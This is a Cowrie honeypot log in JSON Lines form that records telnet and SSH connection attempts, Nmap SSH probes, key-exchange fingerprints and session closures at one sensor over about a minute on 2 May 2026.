{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":43780,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c182e7d7547","protocol":"telnet","message":"New connection: 103.75.182.27:43780 (10.17.0.5:23) [session: 4c182e7d7547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:11.643438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:11.724663Z","src_ip":"35.195.148.6","session":"0f9e9fd47992","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-dss"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:11.799366Z","src_ip":"35.195.148.6","session":"0f9e9fd47992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:11.804618Z","src_ip":"35.195.148.6","session":"0f9e9fd47992","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.148.6","src_port":34258,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3d07813e11a","protocol":"ssh","message":"New connection: 35.195.148.6:34258 (159.203.135.109:22) [session: c3d07813e11a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:11.958173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:12.041669Z","src_ip":"35.195.148.6","session":"c3d07813e11a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:12.116561Z","src_ip":"35.195.148.6","session":"c3d07813e11a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:12.355510Z","src_ip":"35.195.148.6","session":"c3d07813e11a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.148.6","src_port":34274,"dst_ip":"159.203.135.109","dst_port":22,"session":"19246be56efa","protocol":"ssh","message":"New connection: 35.195.148.6:34274 (159.203.135.109:22) [session: 19246be56efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:12.429029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:12.562202Z","src_ip":"35.195.148.6","session":"19246be56efa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp256"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:12.636371Z","src_ip":"35.195.148.6","session":"19246be56efa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:12.899869Z","src_ip":"35.195.148.6","session":"19246be56efa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.148.6","src_port":34282,"dst_ip":"159.203.135.109","dst_port":22,"session":"9549bdd00806","protocol":"ssh","message":"New connection: 35.195.148.6:34282 (159.203.135.109:22) [session: 9549bdd00806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:12.974009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:13.087674Z","src_ip":"35.195.148.6","session":"9549bdd00806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp384"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:13.162057Z","src_ip":"35.195.148.6","session":"9549bdd00806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:13.166859Z","src_ip":"35.195.148.6","session":"9549bdd00806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.148.6","src_port":34284,"dst_ip":"159.203.135.109","dst_port":22,"session":"076095138cf0","protocol":"ssh","message":"New connection: 35.195.148.6:34284 (159.203.135.109:22) [session: 076095138cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:13.321230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:13.459511Z","src_ip":"35.195.148.6","session":"076095138cf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp521"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:13.535351Z","src_ip":"35.195.148.6","session":"076095138cf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:13.540827Z","src_ip":"35.195.148.6","session":"076095138cf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.148.6","src_port":34290,"dst_ip":"159.203.135.109","dst_port":22,"session":"477796e41d8c","protocol":"ssh","message":"New connection: 35.195.148.6:34290 (159.203.135.109:22) [session: 477796e41d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:13.689634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:13.775309Z","src_ip":"35.195.148.6","session":"477796e41d8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-ed25519"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:13.849904Z","src_ip":"35.195.148.6","session":"477796e41d8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:14.047043Z","src_ip":"35.195.148.6","session":"477796e41d8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":43788,"dst_ip":"10.17.0.5","dst_port":23,"session":"afe489453687","protocol":"telnet","message":"New connection: 103.75.182.27:43788 (10.17.0.5:23) [session: afe489453687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:15.780035Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57082,"dst_ip":"10.17.0.5","dst_port":23,"session":"76733f97ff33","protocol":"telnet","message":"New connection: 104.245.105.2:57082 (10.17.0.5:23) [session: 76733f97ff33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:16.472345Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.148.6","src_port":34302,"dst_ip":"159.203.135.109","dst_port":22,"session":"0aabc1fdf15e","protocol":"ssh","message":"New connection: 35.195.148.6:34302 (159.203.135.109:22) [session: 0aabc1fdf15e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:18.543905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap_SSH2_Enum_Algos","message":"Remote SSH version: SSH-2.0-Nmap_SSH2_Enum_Algos","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:18.571634Z","src_ip":"35.195.148.6","session":"0aabc1fdf15e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":43802,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b7c726d7672","protocol":"telnet","message":"New connection: 103.75.182.27:43802 (10.17.0.5:23) [session: 2b7c726d7672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:18.621962Z"}
{"eventid":"cowrie.client.kex","hassh":"a20aced7c9824fd804f59e68dd801ad3","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a20aced7c9824fd804f59e68dd801ad3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:18.680809Z","src_ip":"35.195.148.6","session":"0aabc1fdf15e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:18.686852Z","src_ip":"35.195.148.6","session":"0aabc1fdf15e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.534599542617798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:19.149114Z","src_ip":"103.75.182.27","session":"dd9cb352fdd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51964521408081,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:19.255374Z","src_ip":"103.75.182.27","session":"6513567e838a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":48398,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8146d38e314","protocol":"telnet","message":"New connection: 103.75.182.27:48398 (10.17.0.5:23) [session: f8146d38e314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:22.644655Z"}
{"eventid":"cowrie.session.closed","duration":30.56367254257202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:23.185150Z","src_ip":"103.75.182.27","session":"b936dc7106cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.512152433395386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:26.216619Z","src_ip":"103.75.182.27","session":"dafbe48570f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.160.107.19","src_port":35220,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e86d3644d3e","protocol":"telnet","message":"New connection: 103.160.107.19:35220 (10.17.0.5:23) [session: 9e86d3644d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:28.056268Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":48414,"dst_ip":"10.17.0.5","dst_port":23,"session":"2987670188ee","protocol":"telnet","message":"New connection: 103.75.182.27:48414 (10.17.0.5:23) [session: 2987670188ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:28.665928Z"}
{"eventid":"cowrie.session.closed","duration":30.472568035125732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:31.191002Z","src_ip":"103.75.182.27","session":"15b1b2437bc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":36120,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9abd0fe1f37","protocol":"telnet","message":"New connection: 103.75.182.27:36120 (10.17.0.5:23) [session: d9abd0fe1f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:31.728777Z"}
{"eventid":"cowrie.session.closed","duration":30.580862998962402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:35.102669Z","src_ip":"103.160.107.19","session":"907dbdedf0cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":36136,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8de363f7f0b","protocol":"telnet","message":"New connection: 103.75.182.27:36136 (10.17.0.5:23) [session: a8de363f7f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:36.666092Z"}
{"eventid":"cowrie.session.closed","duration":30.50800371170044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:39.110078Z","src_ip":"103.160.107.19","session":"81348658df9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.500487565994263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:39.128616Z","src_ip":"103.75.182.27","session":"f254e5e2399d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.589486837387085,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:40.609788Z","src_ip":"104.245.105.2","session":"fa3e881b2b66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.619570016860962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:41.146992Z","src_ip":"103.160.107.19","session":"ab924b543387","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":38764,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d9ab223b559","protocol":"telnet","message":"New connection: 103.75.182.27:38764 (10.17.0.5:23) [session: 5d9ab223b559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:41.662399Z"}
{"eventid":"cowrie.session.closed","duration":30.67146897315979,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:42.314805Z","src_ip":"103.75.182.27","session":"4c182e7d7547","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35672616958618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:46.136557Z","src_ip":"103.75.182.27","session":"afe489453687","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":38780,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c6282002eeb","protocol":"telnet","message":"New connection: 103.75.182.27:38780 (10.17.0.5:23) [session: 5c6282002eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:46.701116Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":38790,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f9d37b40f8a","protocol":"telnet","message":"New connection: 103.75.182.27:38790 (10.17.0.5:23) [session: 1f9d37b40f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:46.708197Z"}
{"eventid":"cowrie.session.closed","duration":30.623701333999634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:49.245578Z","src_ip":"103.75.182.27","session":"2b7c726d7672","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":38792,"dst_ip":"10.17.0.5","dst_port":23,"session":"752b74e5c3f7","protocol":"telnet","message":"New connection: 103.75.182.27:38792 (10.17.0.5:23) [session: 752b74e5c3f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:50.474522Z"}
{"eventid":"cowrie.session.closed","duration":34.70111346244812,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:51.173263Z","src_ip":"104.245.105.2","session":"76733f97ff33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.160.107.19","src_port":41784,"dst_ip":"10.17.0.5","dst_port":23,"session":"157d1548f5ff","protocol":"telnet","message":"New connection: 103.160.107.19:41784 (10.17.0.5:23) [session: 157d1548f5ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:51.593160Z"}
{"eventid":"cowrie.session.closed","duration":30.48581099510193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:53.130332Z","src_ip":"103.75.182.27","session":"f8146d38e314","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.061800718307495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:59.117925Z","src_ip":"103.160.107.19","session":"9e86d3644d3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5266215801239,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:23:59.192465Z","src_ip":"103.75.182.27","session":"2987670188ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.27","src_port":50092,"dst_ip":"10.17.0.5","dst_port":23,"session":"af3264b1f547","protocol":"telnet","message":"New connection: 103.75.182.27:50092 (10.17.0.5:23) [session: af3264b1f547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:24:00.632086Z"}
{"eventid":"cowrie.session.closed","duration":30.502690315246582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:24:02.231342Z","src_ip":"103.75.182.27","session":"d9abd0fe1f37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":11428,"dst_ip":"10.17.0.5","dst_port":22,"session":"4899118ad9dc","protocol":"ssh","message":"New connection: 141.11.21.145:11428 (10.17.0.5:22) [session: 4899118ad9dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:24:02.237160Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:24:02.315777Z","src_ip":"141.11.21.145","session":"4899118ad9dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":11442,"dst_ip":"10.17.0.5","dst_port":22,"session":"496a38ee2635","protocol":"ssh","message":"New connection: 141.11.21.145:11442 (10.17.0.5:22) [session: 496a38ee2635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:24:02.400710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:24:02.412064Z","src_ip":"141.11.21.145","session":"496a38ee2635","protocol":"ssh"}
